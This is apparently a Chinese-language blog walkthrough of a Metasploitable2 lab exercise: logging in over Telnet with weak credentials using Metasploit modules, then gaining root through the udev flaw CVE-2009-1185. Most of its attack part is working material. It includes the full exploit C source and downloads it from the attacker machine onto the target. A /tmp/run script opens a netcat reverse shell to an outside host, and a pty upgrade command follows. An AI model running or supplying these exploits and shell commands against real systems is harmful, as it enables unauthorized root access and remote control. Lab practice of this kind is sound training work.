Metasploitable2系列练习-漏洞利用之Telnet的登录提权

继续上一篇的内容,本次使用的是Telnet的弱密码和登录提权。

什么是Telnet?

Telnet协议是TCP/IP协议族中的一员,是internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序,用它连接到服务器。终端使用者可以在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。
虽然telnet较为简单实用也很方便,但是在格外注重安全的现代网络技术中,telnet并不被重用。原因在于telnet是一个明文传送协议,它将用户的所有内容,包括用户名和密码都以明文在互联网上传送,具有一定的安全隐患,因此许多服务器都会选择禁用telnet服务。如果我们要使用telnet的远程登录,使用前应在远端服务器上检查并设置允许telnet服务的功能。

Telnet登录提权

nmap扫描

扫描结果如下,我们发现23端口是开放的:

打开msf,使用telnet_version模块来探测telnet的版本信息:

use auxiliary/scanner/telnet/telnet_version

set rhost 192.168.52.144

run

可以看到用户名密码都是msfadmin。

msf尝试登录

然后使用登录模块尝试登录:

use auxiliary/scanner/telnet/telnet_login

参数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Module options (auxiliary/scanner/telnet/telnet_login):

Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 23 yes The target port (TCP)
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts

设置用户名、口令对应的文件路径,然后设置目标,run即可:

这个只是获取的msfadmin权限的shell,我们可以用sessions -u [id]把相应的连接设置成meterpreter shell

meterpreter shell是一种高级、隐蔽、多层面的且可动态扩展的payload,可以将反射dll注入到目标主机的内存中,还可以在运行时动态加载脚本和插件来进行后渗透利用。包括提权、转存系统账号、键盘记录、持久后门服务、启用远程桌面等,还有很多其他的扩展。而且,meterpreter shell的整个通信都是默认加密的。

利用exp提权

https://www.exploit-db.com/download/8572

下载exp,放到kali的/var/www/html目录下,并将下载的C文件chmod 777

然后开启apache服务:service apache2 start

然后切换到靶机telnet,从kali下载提权代码并编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
msfadmin@metasploitable:~$ wget 192.168.52.134/test.c
--22:00:56-- http://192.168.52.134/test.c
=> `test.c'
Connecting to 192.168.52.134:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,902 (2.8K) [text/x-csrc]

100%[=======================================================================>] 2,902 --.--K/s

22:00:56 (566.80 KB/s) - `test.c' saved [2902/2902]

msfadmin@metasploitable:~$ ls
test.c vulnerable
msfadmin@metasploitable:~$ gcc -o exploit test.c

然后切换回kali,使用nc监听:

nc -lvp 4444(端口号随意,只需要和下面的端口号一样即可)

然后在靶机telnet进行下面操作:

1
2
3
4
5
6
7
8
msfadmin@metasploitable:~$ echo '#!/bin/sh' > /tmp/run
msfadmin@metasploitable:~$ echo '/bin/netcat -e /bin/sh 192.168.52.134 4444' >> /tmp/run
msfadmin@metasploitable:~$ ps aux | grep udev
root 2719 0.0 0.1 2092 620 ? S<s 07:31 0:00 /sbin/udevd --daemon
msfadmin 7331 0.0 0.1 3008 772 pts/2 R+ 22:05 0:00 grep udev
#执行exploit 具有root权限的pid减1
msfadmin@metasploitable:~$ ./exploit 2718

运行完之后,监听端口反弹shell,拿到root权限:

然后可以使用 python -c ‘import pty;pty.spawn(“/bin/bash”)’ 获取伪终端方便使用

为什么可以提权

提权代码利用的是cve-2009-1185 init未检查NETLINK消息来源,本地提权漏洞。

udev是Linuxkernel系列的设备管理器,主要功能是管理/dev目录下的设备节点。udev没有正确地检查Netlink消息的来源,本地攻击者可以利用这个漏洞从用户空间进程而不是内核向udev发送特制的Netlink消息,导致其创建已有系统块设备(如root文件系统)完全可写的块设备文件,以获得root用户权限。

exp代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
/*
* cve-2009-1185.c
*
* udev < 141 Local Privilege Escalation Exploit
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
*
* udev before 1.4.1 does not verify whether a NETLINK message originates
* from kernel space, which allows local users to gain privileges by sending
* a NETLINK message from user space.
*
* Notes:
*
* An alternate version of kcope's exploit. This exploit leverages the
* 95-udev-late.rules functionality that is meant to run arbitrary commands
* when a device is removed. A bit cleaner and reliable as long as your
* distro ships that rule file.
*
* Tested on Gentoo, Intrepid, and Jaunty.
*
* Usage:
*
* Pass the PID of the udevd netlink socket (listed in /proc/net/netlink,
* usually is the udevd PID minus 1) as argv[1].
*
* The exploit will execute /tmp/run as root so throw whatever payload you
* want in there.
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

int
main(int argc, char **argv)
{
int sock;
char *mp, *err;
char message[4096];
struct stat st;
struct msghdr msg;
struct iovec iovector;
struct sockaddr_nl address;

if (argc < 2) {
err = "Pass the udevd netlink PID as an argument";
printf("[-] Error: %s\n", err);
exit(1);
}

if ((stat("/etc/udev/rules.d/95-udev-late.rules", &st) == -1) &&
(stat("/lib/udev/rules.d/95-udev-late.rules", &st) == -1)) {
err = "Required 95-udev-late.rules not found";
printf("[-] Error: %s\n", err);
exit(1);
}

if (stat("/tmp/run", &st) == -1) {
err = "/tmp/run does not exist, please create it";
printf("[-] Error: %s\n", err);
exit(1);
}
system("chmod +x /tmp/run");

memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;

msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;

sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(sock, (struct sockaddr *) &address, sizeof(address));

mp = message;
mp += sprintf(mp, "remove@/d") + 1;
mp += sprintf(mp, "SUBSYSTEM=block") + 1;
mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
mp += sprintf(mp, "TIMEOUT=10") + 1;
mp += sprintf(mp, "ACTION=remove") +1;
mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1;

iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);

sendmsg(sock, &msg, 0);

close(sock);

return 0;
}


Netlink 是一种在内核与用户应用间进行双向数据传输的非常好的方式,用户态应用使用标准的 socket API 就可以使用 netlink 提供的强大功能。使用netlink 进行应用与内核通信的应用很多,包括:路由 daemon(NETLINK_ROUTE),1-wire 子系统(NETLINK_W1),用户态 socket 协议(NETLINK_USERSOCK),防火墙(NETLINK_FIREWALL),socket 监视(NETLINK_INET_DIAG),netfilter 日志(NETLINK_NFLOG),ipsec 安全策略(NETLINK_XFRM),SELinux 事件通知(NETLINK_SELINUX),iSCSI 子系统(NETLINK_ISCSI),进程审计(NETLINK_AUDIT),转发信息表查询 (NETLINK_FIB_LOOKUP),netlink connector(NETLINK_CONNECTOR),netfilter 子系统(NETLINK_NETFILTER),IPv6 防火墙(NETLINK_IP6_FW),DECnet 路由信息(NETLINK_DNRTMSG),内核事件向用户态通知(NETLINK_KOBJECT_UEVENT),通用 netlink(NETLINK_GENERIC)。


Metasploitable2系列练习-漏洞利用之Telnet的登录提权
https://chujian521.github.io/blog/2020/05/02/Metasploitable2系列练习-漏洞利用之Telnet的登录提权/
作者
Encounter
发布于
2020年5月2日
许可协议